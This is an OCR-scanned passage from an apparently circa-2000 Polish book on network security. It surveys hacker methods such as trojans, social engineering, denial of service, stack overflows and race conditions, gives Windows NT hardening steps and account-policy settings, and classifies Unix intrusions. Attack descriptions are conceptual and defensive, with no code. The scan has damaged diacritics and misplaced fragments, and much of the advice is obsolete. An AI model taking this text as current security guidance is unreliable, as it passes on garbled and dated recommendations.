przeszukiwacz moze tatwo odczytywac wszystkie nieutajnione informacje. Co wigcej,
nawet zaszyfrowane hasta moga by¢ przechwycone i powtornie wykorzystane, jesli
metoda utajniania nie jest wystarczajaco czasochlonna lub oparta na najprostszych
mechanizmach.

Wykorzystywanie pulapek oraz otwartych drzwi

Istniejace usterki lub mozliwos$ci §ledzenia przebiegdw (zastawiane putapki) stoso-
wane w programach na serwerze sa szybko w spotecznosci hakeréw upowszechniane
i wykorzystywane. Jesli potrafia oni ,,przepytac” serwer i odkry¢, ze uruchomiona
jest wersja X jakiego$ programu, ktory ma luki bezpieczenstwa, niewatpliwie wy-
korzystaja je w kolejnym ataku. Okoto 15 lat temu w wielu systemach Uniksa wy-
stegpowat stynny blad, ktory umozliwiat wystanie poczty powodujacej zamiang pliku
z hastami dla calego systemu. Wprawdzie zostal on usunigty, ale jak wiele bledow
moze kry¢ si¢ w oprogramowaniu liczacym ponad 200 MB?

O ile zastawianie pulapek jest niebezpieczne, o tyle ,,otwarte drzwi” sa jeszcze gor-
sze 1 stanowia ewidentne luki w konfiguracji Sieci wynikajace z nieroztropnego
administrowania. Je$li haker na przyktad uzyska mozliwos¢ zapisu w katalogu CGI,
moze przestaé swoje wlasne programy i pozniej uzy¢ przegladarki WWW do ich
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uruchomienia, spetniajac rownoczesnie wymogi ochrony serwera webowego. Innym
powaznym biedem bytoby udostepnienie w ustudze FTP woluminu z systemem pli-
kow FAT, ktory w odréznieniu od NTFS nie posiada zabezpieczen dostgpu do pli-
kow 1 folderow. Wolumen taki stanie si¢ wige catkowicie dostgpny poprzez FTP
i bezbronny na ataki hakerow.

Stosowanie koni trojanskich i wiruséw

Haker moze naktoni¢ ktoregos z uzytkownikow sieci lokalnej do uruchomienia opro-
gramowania, ktore pdzniej bedzie mogt wykorzystac¢ do ataku. Takie ,,zto§liwe” opro-
gramowanie moze :

¢ Zebra¢ informacje bezpieczenstwa i sekretnie przekazywac je hakerowi;
¢ Wstawic lub skasowa¢ informacje na jakim$ komputerze w sieci lokalnej;

¢ Wykona¢ ,tunel” umozliwiajacy komunikacjg internetowa z komputera hakera
do komputera w sieci lokalnej z pominigciem zabezpieczen firewalla. Wowczas
moze bada¢ serwery lub nawet przedosta¢ si¢ na zewnatrz i zaatakowac
poprzez Internet inne obszary, stwarzajac wrazenie, jakby sprawca tego
dziatania byt uzytkownik sieci lokalne;j.

Stosowanie socjotechnik

Najlepsze blokady na niewiele bgda przydatne, jesli nie ochroni si¢ kluczowych in-
formacji. Haker moze po prostu wykorzysta¢ kogo$ z organizacji do uzyskania da-
nych, ktore sa mu potrzebne. Jest to bardzo czgsty sposob ataku, dotyczacy wigk-
szosci organizacji. Zwykle schemat dziatania jest taki: haker przedstawia sig jako
uprawniony uzytkownik, ktéry po prostu zapomniat swego hasta. Btaga o pomoc, za-
zwyczaj przez e-mail lub telefonu. Jesli kto$ z personelu administracyjnego wyjdzie
naprzeciw takim prosbom i zmieni hasto, ile bedzie wart nawet najlepszy firewall?

Tworzenie ,,sztucznego ttoku”

Niektore rodzaje atakow wcale nie maja na celu uzyskania dostgpu, a polegaja na
uniemozliwieniu korzystania legalnym uzytkownikom ze swego komputera czy z sieci
lokalnej. Niewielki program moze bowiem zala¢ serwer nieuzytecznymi zadaniami.
Podobnie mozna zaatakowaé wszystkie komputery czy rutery, doprowadzajac do
awarii, zamknigcia czy powaznych zaktécen w komunikacji sieciowej. Haker moze
rowniez stac tysigce komunikatow e-mail, catkowicie zapetiajac dysk twardy i unie-
mozliwiajac odbieranie wtasciwych przesytek pocztowych.

Zabezpieczenia Windows NT
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Windows NT dostarcza zbioru mechanizméw majacych go uczyni¢ bezpiecznym
systemem operacyjnym, jednak przy zakupie systemu i standardowej instalacji
wigkszo$¢ z nich jest wylaczona (gtdéwnie w wersji Workstation). Dzieje si¢ tak
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dlatego, ze podobno wigkszo$¢ uzytkownikow nie potrzebuje systemu bardzo bez-
piecznego, ale ograniczajacego jego dziatanie. Z drugiej strony wlaczenie zabezpie-
czen nie zmienia zbyt duzo, gdyz standardowa konfiguracja bezpieczenstwa utrzy-
mana jest na zenujaco niskim poziomie.

wersji Windows NT. Dla kazdego, komu zalezy na bezpiecznym systemie,

ta witasnie wersja jest najbardziej odpowiednia. Po pierwsze wszystkie
Service Packi ukazujg sie najpierw w angielskiej, a dopiero po kilku miesigcach
w polskiej wersji jezykowej (oczywiscie mozna zainstalowa¢ Service Packa
w angielskiej wersji jezykowej na ,polski” NT po drobnych manipulacjach,
lecz wtedy uzyskamy dwujezyczng wersje, co jest pozbawione sensu).

Po drugie dokumentacja Winodws NT, jakg mozna $ciagna¢ z Sieci,

jest rowniez opracowana w jezyku angielskim, co zdecydowanie utrudnia
zastosowanie uzyskanych informaciji.

h Wszelkie informacje przedstawione w tej ksigzce odnosza sie do angielskiej

Poziomy bezpieczenstwa Windows NT

Windows NT pozwala na ustawienie bezpieczenstwa na réznych poziomach (od
braku jakiejkolwiek ochrony do bezpieczenstwa na poziomie C2 ). Ustawienie
maksymalnego zabezpieczenia moze ograniczy¢ dostgp do niektdrych zasobow,
wobec czego utrudnia prace niektorym uzytkownikom. Moze to rowniez powodo-
waé proby obej$cia zabezpieczen w celu ulatwienia lub umozliwienia wykonania
pracy. Najprostszym przyktadem jest ustawienie wymagania posiadania trudnych
do zlamania haset (ktére zazwyczaj sktadaja si¢ z matych i duzych liter, cyfr oraz
znakéw). Hasta takie sa zazwyczaj trudne do zapamigtania wigc uzytkownicy zapi-
suja je na kartkach, aby moc korzystaé¢ z systemu. Oczywiscie kartka z hastem musi
sig¢ znajdowac ,,pod reka” co oznacza, Ze na pewno jest gdzies w poblizu komputera.
We wszystkim nalezy zachowac¢ umiar. Tak i tu najpierw nalezy okresli¢ poziom
bezpieczenstwa, ktory naprawd¢ nam jest potrzebny. Jesli bedzie on zbyt wysoki
w stosunku do naszych wymagan, nasza praca w systemie bedzie znacznie utrudniona.
Jednak, jesli jest on zbyt niski, mozemy narazi¢ si¢ na utratg¢ waznych dla nas danych.

firmy Microsoft, ktéry mozna znalez¢é pod adresem http.//suni0.ci.pwr.
wroc.pl/~kadluczk/guidesecnt.doc (format dokumentu Worda w jezyku
angielskim).

k Informacje o bezpieczenstwie zostaty opracowane na podstawie dokumentu

Ochrona w stopniu minimalnym

Przydatna dla komputerow znajdujacych si¢ w bardzo bezpiecznym miejscu lub nie
zawierajacym naprawdeg waznych informacji. Sa to na przyktad komputery uzywane
w domu lub matej firmie, do ktérych ma dostgp tylko ograniczona liczba osob. W ta-
kich przypadkach uzytkownik moze zechcie¢, aby kazdy majacy dostgp do kom-
putera miat bezproblemowy dostegp do wszystkich jego zasobow.
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Fizyczna ochrona komputera

Nalezy chroni¢ cenne elementy wyposazenia systemu przed kradzieza na przyklad
poprzez zamykanie pomieszczenia, w ktorym znajduje si¢ komputer, gdy nikt nie
moze go przypilnowac. Nalezy tez uzywac stabilizatora, aby chroni¢ komputer przed
naglymi zmianami napigcia w Sieci. Ponadto nalezy regularnie sprawdzac i defrag-
mentowaé dysk, aby wykrywaé i izolowa¢ mogace powstawaé bledne skroty oraz
zwigkszy¢ jego wydajnosc.

Przy minimalnym poziomie zabezpieczen, zaden mechanizm bezpieczenstwa nie
jest uzywany. W rzeczywisto$ci mozna ustawi¢ automatyczne logowanie si¢ na
konto Administratora (lub kazdego innego uzytkownika), co pozwala kazdemu na
otrzymanie petnego dostgpu do zasobow tuz po wiaczeniu komputera. Domy$lnie
dostep do niektdrych plikéw jest ograniczony. Dla minimalnego bezpieczenstwa
nalezy ustawi¢ petny dostep do plikéw dla grupy Everyone.

Minimalna ochrona nie zwalnia uzytkownika z ochrony systemu przeciw wirusom,
poniewaz moga one uniemozliwi¢ korzystanie z niektorych programéow lub uzy¢ kom-
putera z minimalnym poziomem zabezpieczen do zainfekowania innych systemow.

Standardowy poziom bezpieczenstwa
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Komputery sa najczgsciej uzywane do przechowywania mniej lub bardziej waznych
danych. Moga to by¢ jakie$ dane finansowe czy osobiste listy. Mozna takze chcie¢
chroni¢ komputer przed przypadkowa lub celowa zmiang jego ustawien. Nalezy
jednak pamigtaé, ze uzytkownicy systemu powinni bez przeszkéd méc wykonaé
swoja pracg. Standardowy poziom zabezpieczen wydaje si¢ odpowiedni, aby spehic¢
te wymagania.

Fizyczna ochrona komputera

Podobnie jak w przypadku ustawien zapewniajacych minimalne bezpieczenstwo,
tak i tu nalezy traktowa¢ komputer jak kazda rzecz, ktéora uwazamy za cenna.
Oznacza to ustawienie go w miejscu zamknigtym dla nieuprawnionych osob.

System, ktéory ma by¢ bezpieczny wymaga pewnego wysitku nie tylko ze strony
administratora zarzadzajacego nim, ale i zwyktych uzytkownikéw, ktérzy musza
przyzwyczai¢ si¢ do wylogowywania si¢ po zakonczonej pracy czy pamigtania
(zamiast zapisywania) swoich haset.

Windows NT ma mozliwo$¢ wyswietlenia okienka z dowolnym napisem przed
mozliwoscia zalogowania si¢. Intencja jest wySwietlenie w tym miejscu komunikatu
ostrzegajacego przed probami uzyskania nielegalnego dostgpu do zasobow. W celu
umieszczenia okienka z komunikatem nalezy dokonaé nastgpujacych zmian w rejestrze.
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Hive: HKEY LOCAL MACHINE\SOFTWARE

Key: \Microsoft\Windows NT\Current Version\Winlogon
Name: LegalNoticeCaption

Type: REG_SZ

Value:  Napis na belce okna dialogowego

Hive: HKEY LOCAL MACHINE\SOFTWARE

Key: Microsoft\Windows NT\Current Version\Winlogon
Name: LegalNoticeText

Type: REG _SZ

Value:  Tres¢ komunikatu

Konta uzytkownikow oraz grupy

Aby moc skorzysta¢ z systemu przy ustawionym standardowym poziomie bezpie-
czenstwa wymagane jest posiadanie konta i hasta. Konta mozna zaktada¢, usuwac,
blokowa¢ za pomoca programu User Manager znajdujacego si¢ w grupie progra-
méw nazwanej Administrative Tools.

Konta uzytkownikow a konta administracyjne

Pamigtajmy, ze nalezy uzywac oddzielnych kont do administrowania systemem
i oddzielnych do zwyklej pracy. Dzigki temu mozna zapobiec przypadkowym nie-
pozadanym zmianom w ustawieniach systemu. Ponadto uruchomione przez uzyt-
kownika procesy wykonywane sa zgodnie z prawami tego uzytkownika. Na przyktad
wirusy moga dokona¢ o wiele wigkszych zniszczen w systemie, jezeli uruchamiane sa
z konta administratora i korzystaja z jego praw. Dobrze jest zmieni¢ nazwe wbudowa-
nego konta administratora na jaka$ mniej oczywista. Przyczyna jest prosta — to wila-
$nie konto o kluczowym dla systemu znaczeniu nie moze nigdy by¢ zablokowane,
wobec czego celem niektorych atakow staje sig proba odgadnigcia hasta.

Konto goscia

Dzigki kontu goscia mozna przyznaé ograniczony dostep do systemu przypadkowym
uzytkownikom. Nalezy wigc wprowadzi¢ zabezpieczenie przed zapisywaniem, usu-
waniem 1 zmiana plikéw oraz katalogow i kluczy w rejestrze dokonywanych przez
uzytkownikoéw korzystajacych z tego konta (mozna ewentualnie stworzy¢ katalog,
do ktorego gos¢ bedzie mial pelny dostep).

Logowanie si¢

Kazdy z uzytkownikow powinien nacisna¢ Ctrl+Alt+Del przed zalogowaniem,
gdyz zabezpiecza to przed uruchomieniem programoéw napisanych do ,,zbierania”
haset logujacych si¢ uzytkownikow.
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Wylogowywanie si¢

Uzytkownicy powinni zawsze wylogowywac si¢ lub blokowa¢ stacj¢ robocza, na
ktorej pracuja, gdy opuszczaja swoje stanowisko. Wylogowywanie si¢ pozwala za-
logowac¢ si¢ innym uzytkownikom, ale blokowanie stacji roboczej uniemozliwia to.
Mozna ustawi¢ parametry tak, aby stacja robocza blokowata si¢ automatycznie po
okre§lonym czasie nieuzywania przez zastosowanie dowolnego 32-bitowego wyga-
szacza ekranu z opcja Password Protection.

Hasla

Kazdy cztowiek znajacy nazwe uzytkownika (login) i skojarzone z ta nazwga hasto
moze zalogowac¢ si¢ w jego imieniu. Dlatego uzytkownicy powinni zawsze trzymac
swoje hasta w tajemnicy i dba¢ o ich bezpieczenstwo. Mozna to uzyskac przez sto-
sowanie si¢ do kilku prostych regut. Nalezy zatem:

¢ Unika¢ powtarzania haset;

¢ Unika¢ uzywania hasel, ktorych tatwo si¢ domysle¢ oraz stow wystepujacych
w stowniku (najlepiej stosowaé hasta sktadajace si¢ duzych i matych liter,
cyfr oraz znakéw specjalnych);

¢ Zmienia¢ regularnie hasto.

Zabezpieczenia plikow i katalogéw

Zastosowany system plikow (NTFS) dostarcza nowych mechanizméw bezpieczen-
stwa w stosunku do systemu pliku FAT. Wobec tego powinien by¢ zawsze uzywany,
jesli nasz system ma by¢ bezpieczny. Przy uzyciu NTFS mozna zabezpieczy¢ pliki
i katalogi okreslajac, ktorzy uzytkownicy lub grupy uzytkownikow i w jaki sposob
moga si¢ odwotywac do tego zasobu. Nalezy jednak pamigtac, ze kopiujac pliki nie
kopiujemy ich praw. Po skopiowaniu pliku nalezy wigc nada¢ mu odpowiednie
prawa. Natomiast przy przenoszeniu plikow przenoszone sa takze prawa ustawione
dla tych plikow. Zmiana praw dostepu do pliku jest dokonywana natychmiast po na-
daniu nowych praw. Uzytkownicy, ktérzy mieli otwarte pliki lub katalogi podczas
zmian praw do tych plikow lub katalogéw moga z nich korzysta¢ wedlug praw,
z ktorymi je otwierali.

Kopie zapasowe

Powinno sig regularnie tworzy¢ kopie bezpieczenstwa, zabezpieczajace dane przed
utratg na skutek uszkodzenia sprz¢tu, szkodliwej dziatalnos$ci wiruséw lub innych
pomytek. Przywilej tworzenia kopii bezpieczenstwa powinni mie¢ tylko admini-
stratorzy oraz uzytkownicy grupy Backup Operators.

Ochrona rejestru

Rejestr zawiera wszystkie informacje o inicjalizacji 1 konfiguracji systemu. Zwykle
klucze w rejestrze sa zmieniane posrednio za pomoca narze¢dzi administracyjnych
np. w panelu sterowania (Control Panel) i jest to metoda zalecana.
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Jednak istnieja klucze, ktorych wartosci nie mozna zmieni¢ w ten sposob i nalezy to
uczyni¢ bezposrednio za pomoca programu RegEdit, ktory pozwala na zdalny do-
step do rejestru Windows NT. Aby ograniczy¢ ten dostep nalezy stworzy¢ nastgpu-

jacy klucz:
Hive: HKEY LOCAL MACHINE
Key: \CurrentcontrolSet\Control\SecurePipeServers
Name: \winreg

Ograniczenia tego klucza okreslaja, ktorzy uzytkownicy lub grupy uzytkownikow
maja zdalny dostgp do rejestru. Przy standardowej instalacji Windowsa NT klucz
ten nie jest zdefiniowany oraz nie ma zadnych ograniczen na zdalny dostgp do reje-
stru. Zapasowe kopie rejestru mozna zrobi¢ takze za pomocg standardowego narze-
dzia do robienia kopii zapasowych dostarczanego z systemem Windows NT.

Kontrolowanie

Kontrolowanie, czyli auditing informuje o akcjach, ktore moga powodowac zagro-
zenie dla bezpieczenstwa systemu oraz o nazwie konta, z ktorego te akcje zostaty
podjgte. Zastosowanie wymogu posiadania ,,dobrych” haset kojarzy jednoznacznie
nazwg konta z wilascicielem. Auditing wymaga jednak dodatkowego miejsca na
dysku oraz obcigza dodatkowo procesor. Mozna ograniczy¢ te niedogodnosci po-
przez wybieranie tylko niektérych zdarzen majacych by¢ kontrolowanymi. Zawsze
nalezy kontrolowa¢ nastgpujace wydarzenia:

¢ Nieudane proby logowania;
¢ Dostep do waznych danych;

¢ Zmiana ustawien dotyczacych bezpieczenstwa.

Wysoki poziom bezpieczenstwa

Standardowy poziom bezpieczenstwa jest wystarczajacy dla wigkszosci instalacji.
Dla komputeréw, na ktorych przechowywane sa wazne dane mozna zastosowac
dodatkowa ochrong w celu zabezpieczenia si¢ przed kradzieza danych oraz przy-
padkowym lub celowym uszkodzeniem systemu.

Bezpieczenstwo i sie¢

Podtaczenie komputera do sieci lokalnej stanowi bardzo duze zagrozenie dla jego
bezpieczenstwa, ale jesli kazdy uzytkownik potrzebuje dostepu do danych, jest to
konieczne. Gdy cata sie¢ znajduje si¢ w bezpiecznym budynku ryzyko nieautory-
zowanego dostgpu jest minimalne. Jesli jednak okablowanie znajduje si¢ poza bu-
dynkiem o wiele lepiej jest uzy¢ §wiattowodow niz skretki.
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Kontrolowanie dostepu do komputera

Zaden komputer nigdy nie bedzie bezpieczny, dopoki nieupowaznione osoby beda
miaty do niego dostgp. Dlatego dla zwigkszenia bezpieczenstwa nalezy przestrzegaé
pewnych regul. A wigc:

¢ Zablokowa¢ dostep do stacji dyskow (np. ustawienia BIOS) lub,
jesli to niemozliwe, usunad ja;
¢ Sprawié¢, by obudowa komputera nie miata mozliwosci otworzenia jej bez

klucza, ktéry powinien by¢ przechowywany w bezpiecznym miejscu z dala
od komputera;

¢ Sformatowac dysk przy uzyciu NTFS;

¢ Usunac¢ karte sieciowa, jesli komputer nie potrzebuje dostgpu do sieci.

Kontrolowanie dostepu do przycisku zasilania

Nalezy zadba¢ o to, by niepowotani uzytkownicy nie mogli wytacza¢ komputera.
Dzieje si¢ tak wtedy, gdy ustawione dla nich prawa zabraniaja im zamykania syste-
mu. Dla wigkszosci komputeréw wymagajacych zaostrzonego bezpieczenstwa wy-
stawia si¢ po prostu monitor i klawiatur¢ ewentualnie drukarkg. Komputer i wymienne
urzadzenia sa zamknigte w miejscach, do ktorych maja dostgp tylko upowaznione
osoby. Na wielu platformach system moze by¢ chroniony przez uzycie power-on-
password. Power-on -password moze zabezpiecza¢ przed uruchomieniem innego
systemu niz Windows NT.

Bezpieczenstwo systemu na poziomie C2

The National Computer Security Center (NCSC) jest agencja rzadowa USA odpo-
wiedzialna za ocen¢ bezpieczenstwa oprogramowania. Bezpieczenstwo to jest
sprawdzane pod katem wymagan opisanych w Department of Defense Trusted
Computer System Evaluation Criteria (popularnie nazywana ,,Orange Book”).
Windows NT spelil wymagania bezpieczenstwa na poziomie C2 zdefiniowanym
w ,,Orange Book”.

Najwazniejsze wymagania, jakim system musi sprosta¢, aby dosta¢ certyfikat bez-
pieczenstwa na poziomie C2 to:

¢ Wiasciciel zasobu musi mie¢ mozliwos¢ kontroli dostepu do tego zasobu;

¢ System operacyjny musi chroni¢ obiekty, aby inne procesy nie mogty ich
przypadkowo uzy¢ (np. system chroni pamig¢ w ten sposob, ze jej zawarto$¢
nie moze by¢ odczytana po zwolnieniu jej przez inny proces);

¢ System musi identyfikowa¢ uzytkownika poprzez wpisanie unikatowej nazwy
uzytkownika i hasta, a ponadto musi istnie¢ mozliwo$¢ $ledzenia poczynan
uzytkownika;
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¢ Administrator musi mie¢ mozliwos$¢ kontroli wszystkich wydarzen zwiazanych
z bezpieczenstwem systemu (dostgp do tej informacji moga mie¢ tylko
administratorzy).

Ustawienie systemu o bezpieczenstwie na poziomie C2

W celu ulatwienia ustawienia systemu o bezpieczenstwie na poziomie C2 zostala
stworzona aplikacja C2Config znajdujaca si¢ w pakiecie Windows NT 4.0 Resource
Kit. C2config.exe pozwala wybra¢ ustawienia sposrod uzywanych tak, aby uzyskac
certyfikat C2 1 implementowac je.

Zarzadzanie kontami

Odpowiednia polityka zarzadzania kontami jest bardzo waznym elementem bezpie-
czenstwa systemu. Mimo swej prostoty (a moze wiasnie dlatego) jest ona czgsto lekce-
wazona. Nie jest to wlasciwe podejscie. Bo czy mozna nazwaé bezpiecznym system
stojacy za firewallem z zainstalowanymi najnowszymi Service Packami i hotfixami,
ktorego uzytkownicy maja hasta trzyliterowe?

Aby dokona¢ odpowiednich ustawien dotyczacych zarzadzania kontami nalezy wy-
bra¢ opcje Policies —> Account z menu gléwnego programu User Manager for
Domains. W oknie, ktore si¢ pojawi, nalezy zmieni¢ ustawienia na podane ponize;.

Password Restrictions

Maximum Password Age

Okresla maksymalny okres, przez jaki hasto nie musi by¢ zmieniane:

Ustawienie: 45-60 dni
Minimum Password Age

Okresla minimalny okres, przez jaki hasto nie moze by¢ zmienione:

Ustawienie: 10 dni
Mnimum Password Length

Okresla minimalna dlugo$¢ hasta:

Ustawienie: 7 znakdw

Password Uniqueness

Zapobiega uzywaniu tych samych hasel:

Ustawienie: 3—5 pamietanych hasetl
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Account lockout

Lockout after

Blokada po pewnej ilo$ci nieudanych prob zalogowan:

Ustawienie: 3—5

Moze spowodowaé atak typu DoS (Denial of Service), jesli konta sa blokowane,
dopoki nie zostang odblokowane przez administratora.

Restart count after

Okresla po jakim okresie czasu ma nastapic¢ zresetowanie licznika nieudanych préb
logowania:
Ustawienie: 10080 minut (7 dni)

Lockout duration

Pozwala na automatyczne odblokowanie konta po uptywie okreslonego czasu (tylko
przez administratora):

Ustawienie: odblokowywanie przez Administratora
Forcibly disconnect remote users from server when logon hours expire

Nie pozwala uzytkownikowi na pracg poza wyznaczonymi godzinami (odtacza go
od zasobow):

Ustawienie: Zaznaczone
User must log on in order to change password

Nie pozwala uzytkownikow na zmiang hasta po jego wygasnigciu:

Ustawienie: Zaznaczone

Podsumowujac dotychczasowe informacje o zagrozeniach systeméw komputero-
wych pracujacych pod kontrola Windows, nalezy pamigtac, aby system bezpieczen-
stwa zaplanowaé wczesdniej, jeszcze zanim zacznie si¢ budowaé sie¢, poniewaz
sprawy bezpieczenstwa powinny by¢ rozpatrywane w aspekcie dokonywanych wy-
boréw (oprogramowania, sprzgtu i potaczen internetowych).

Mozna zatem wyrdzni¢ dwie koncepcje tworzenia bezpieczenstwa w sieci:

¢ Udzielanie zezwolenia na wszystko i blokowanie dostgpu wynikajace
Z wymogow bezpieczenstwa;

¢ Blokowanie wszystkiego jako zasady ogdlnej i przydzielanie zezwolen wedtug
konkretnych potrzeb.

W pierwsze] strategii wymaga si¢, aby uzytkownik-administrator najpierw ustalit
wszystko, co powinno by¢ zabezpieczone. Jesli popelni btad, ktos uzyska dostep, kto-
rego mieé nie powinien. W drugiej strategii wymaga si¢ zas, aby z gory przewidzie¢
wszystko, co bedzie potrzebne do uzycia. I jesli popetiony zostanie btad, kto$ nie
bedzie mogt otrzymacé dostepu, ktdrego potrzebuje.
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Gtowne metody ochrony komputera:

1. Zabezpieczenie pasywne:

¢ Opracowanie planu i polityki bezpieczenstwa;

¢ Strukturalne ograniczenie zewngtrznego dostgpu do sieci;
¢ Instalowanie tylko niezbednych ustug;
.

Stosowanie tylko znanego oprogramowania, bezpiecznego i pozbawionego
bledow;

*

Odpowiednie konfigurowanie serweréow, systemu plikow, oprogramowania
i kont uzytkownikow, zapewniajace kontrolg poprawnos$ci dostgpu;

& Ukrywanie przed otoczeniem zewngtrznym wszystkich informacji o swojej
sieci.
2. Zabezpieczenie aktywne:

+ Instalowanie firewall blokujacych niebezpieczna lub niewtasciwa
komunikacjg internetowa, odbywajaca si¢ w szerokim zakresie pomigdzy
siecig a Internetem;

& Stosowanie ogniw posredniczacych (proxies) i bram (gateways),
umozliwiajac tym samym dostep do Internetu tylko z wybranych serwerdéw
1 ich serwisow;

¢ Ograniczenie dostgpu przez stosowanie metod szyfrowania i potwierdzania
autentycznos$ci na podstawie danych uwierzytelniajacych;

+ Stosowanie coraz nowszych zabezpieczen przed zagrozeniami.

3. Raportowanie i monitorowanie:
¢ Testowanie systemu ochrony przed podtaczeniem si¢ do Internetu;

¢ Monitorowanie ruchu internetowego w sieci i na taczach z dostawca ustug
internetowych oraz komunikacji z innymi sieciami;

& Wykrywanie i rejestrowanie podejrzanej aktywno$ci w Sieci i aplikacjach
programowych.
4. Przewidywanie katastrof:

+ Stale wykonywanie kopii zapasowych udostgpnianych serweré6w — zanim
zostang one podlaczone do Internetu — i za kazdym razem, gdy dokonane
zostana zmiany oprogramowania systemowego;

¢ Wykonywanie kopii bezpieczenstwa wtedy, gdy tylko na serwerze pracuje
pojedynczy uzytkownik;

& Napisanie i aktualizowanie dokumentacji o sprawdzonych procedurach
odzyskiwania danych;

+ Posiadanie planu dziatania w przypadku naruszenia bezpieczenstwa.
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Wlamania do systemu Unix klasyfikacja 1
metody ochrony przed hakerami

184

W potowie lat 60. grupa pracownikéw laboratoriow Bell firmy AT&T opracowata
nowy system operacyjny o nazwie Multics. System ten skonczyt swoj zywot w roku
1969, kiedy Bell odcigt doptyw funduszy, lecz kilku autoréw z wyjsciowej grupy
dalej kontynuowato prace nad czyms, co pdzniej otrzymato nazwe Unix i zrobito
zawrotng karier¢ w AT&T. We wczesnych latach 80. stworzono nowe wersje Unik-
sa o nazwie System III i System V. Przez kolejne lata powstawaty nowe ulepszone
wersje, a obecnie sg ich dziesiatki. Do najpopularniejszych naleza: Berkeley, CPIX,
FOS, Genix, HP— UX, IS/I, OSx, Sys3, PC — IX, PERPOS, Ultrix, Zeus, Xenix,
UNITY, VENIX, UTS, Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix,
Sixth, FreeBSD (darmowy) czy w koncu Linux (darmowy) i to w kilku edycjach:
Debian, RedHat, czy tez Slackware.

Unix jako system operacyjny bardzo szybko zyskat sobie popularno$¢ uzytkownikow.
Do najwazniejszych jego zalet naleza:

& 32-bitowos¢, ktora wykorzystuje pelnig mocy obliczeniowej CPU
(w przeciwienstwie do 16-bitowych systemow DOS);

¢ Wbudowany kompilator C, C++;

¢ Brak ograniczen w wykorzystywaniu pamigci (wykorzystuje cata pamig¢ RAM
w przeciwienstwie do DOS-a, ktoéry ma ograniczenie do 640 kB);

¢ Obstuga podstawowych protokotéw TCP/IP slip lub ppp;
& Graficzny interfejs uzytkownika X-Windows;

Stabilnos¢ w dziataniu.

Wszystkie zabiegi ochronne, ktdre zmuszony jest przedsigwzia¢ uzytkownik kom-
putera wynikajg z poglebiajacej si¢ globalizacji sieci informatycznych i rosnacych
mozliwo$ci operowania informacja. Na przyktad, system operacyjny Unix jest sys-
temem bezposrednim zwigzanym z Internetem. Pod jego kontrola pracuje wigk-
szo$¢ serwerdw, od ktorych jest uzaleznione istnienie i funkcjonowanie Sieci. Sys-
tem ten zapewnia najwigcej udogodnien stuzacych pracy w dowolnych sieciach
komputerowych. W chwili obecnej, gdy aktywno$¢ wlamywaczy komputerowych
jest tak duza, ze w ciagu jednego miesigca wynajdywanych jest od kilku do kilku-
nastu ,,dziur” w rozmaitych programach, zabezpieczenia standardowe sa jednak
niewystarczajace.

Istnieja przeciez rozne klasyfikacje wlamywaczy komputerowych. Jest bowiem
réznica pomigdzy studentem czy uczniem szkoty sredniej probujacym swych moz-
liwo$ci we wlamaniach do systeméw komputerowych a kims, kto poszukuje kon-
kretnych danych zgromadzonych w naszym komputerze i chce je wykorzysta¢ do
wymiernych profitow finansowo-materialnych. Z punktu widzenia administratora
systemu trudno powiedzie¢, ktory typ wlamywacza jest gorszy. Zazwyczaj szpieg
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potrafi zatrze¢ za soba $lady wlamania i administrator moze nawet o jego probach
wilamania nie wiedzieé. Pierwszy typ wlamywacza moze jednak spowodowac wiele
ktopotéw. Na przyktad w obawie przed zdemaskowaniem, moze on skasowa¢ wazne
pliki systemowe lub nawet uszkodzi¢ caly system.

Poczatkowo haker probuje rozpoczaé sesj¢ na rozpracowywanej maszynie jako jej
zwykly uzytkownik. Moze mu si¢ to uda¢, gdy zna hasto konta zalozonego na tym
komputerze lub potrafi wykorzysta¢ rozmaite btedy w programach udostgpniajacych
ustugi dla $wiata zewngtrznego. Gdy wlamywacz juz ,,pracuje” na zdalnej maszynie,
szuka zwykle programow niepoprawnie skonfigurowanych badz zainstalowanych
niepotrzebnie, z najwyzszymi uprawnieniami czy uruchamiajacych si¢ z prawami
administratora systemu.

Pierwszy sposdb polega na przepetnieniu stosu. Wlamywacz robi to przez wpisanie
do niego tablicy o znacznych rozmiarach, nastgpnie powoduje powrot z programu
do innego adresu niz wlasciwy. Pod tym adresem moze by¢ umieszczona w pamigci
na przyktad powtoka, uruchomiona z uprawnieniami administratora systemu.

Drugi typ wlaman do systemow uniksowych opiera si¢ na swoistym ,,wyscigu”.
Dwa programy — intruza i jakikolwiek inny, uruchomiony przez administratora —
probuja korzystaé z tego samego pliku umieszczonego na dysku komputera.
W pewnym momencie programowi intruza udaje si¢ odpowiednio szybko zamieni¢
rzeczywisty plik na podstawiony, a wlasciwy program daje si¢ na to ,,nabrac”.

Wigkszosci tego rodzaju atakow mozna by uniknaé, gdy regularnie ,,tatano” system.
I to wlasnie wtamania do systemow zmuszaja projektantéw do szukania nowych
i lepszych zabezpieczen. Dosy¢ czgsto zdarza sig, ze bardzo mtodych hakeréw fir-
my zatrudniaja jako ekspertow do testowania skutecznosci zabezpieczen systemow,
w ktorych bezpieczenstwo informacji ma szczegodlne znaczenie, czyli np. w wojsku
lub policji. Tak byto na przyktad z hakerem, ktory pomogt namierzy¢ i ztapa¢ inne-
go stynnego hakera Kevina Mitnicka. Dziatat on pod pseudonimm Agent Stell i do
tej pory podobno pracuje jeszcze dla rzadu Standéw Zjednoczonych. Podobnie rzecz
si¢ miata z superspecem komputerowym Tutsomu Shimomurom, ktéremu zaszedt
za skor¢ wspomniany K. Mitnick (Condor).

Ponizej znajduje si¢ klasyfikacja rodzajow wlaman do systemow uniksowych
(z przyczyn oczywistych niepetna):
¢ Ataki korzystajace z haset;
Ataki na system Linux;
Ataki wykorzystujace stabe strony systemu cgi-bin/ phf;
Ataki wykorzystujace oprogramowanie pirackie;
Ataki na sendmaila;

Zdobywanie plikow z hastami oraz cracking;

* & & o o o

Mail spamming i bombing;
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Ataki typu IP Spoofing;

Automatyczne narzgdzia do skanowania ,, dziur” w systemie;
Ataki typu Denial of Service;

Weszenie;

Ataki korzystajace z autoryzowanego dostepu;

Ataki polegajace na podszywaniu si¢ za pomoca protokotu IP;
Ataki polegajace na nawigzaniu kontaktu z autoryzowanym uzytkownikiem;
Ataki polegajace na przewidywaniu numeroéw sekwencji;
Ataki polegajace na przechwyceniu sesji;

Ataki korzystajace ze stabych punktow w systemie;

Ataki korzystajace ze wspotuzytkowanych bibliotek;

* & 6 & 6 O 6 6 O o o o

Konie trojanskie.

Nie sposob nie wspomnie¢ rowniez — niejako przy okazji — o obszarze ryzyka
zwigzanym z uzytkowaniem komputeréw z zainstalowanymi systemami unikso-
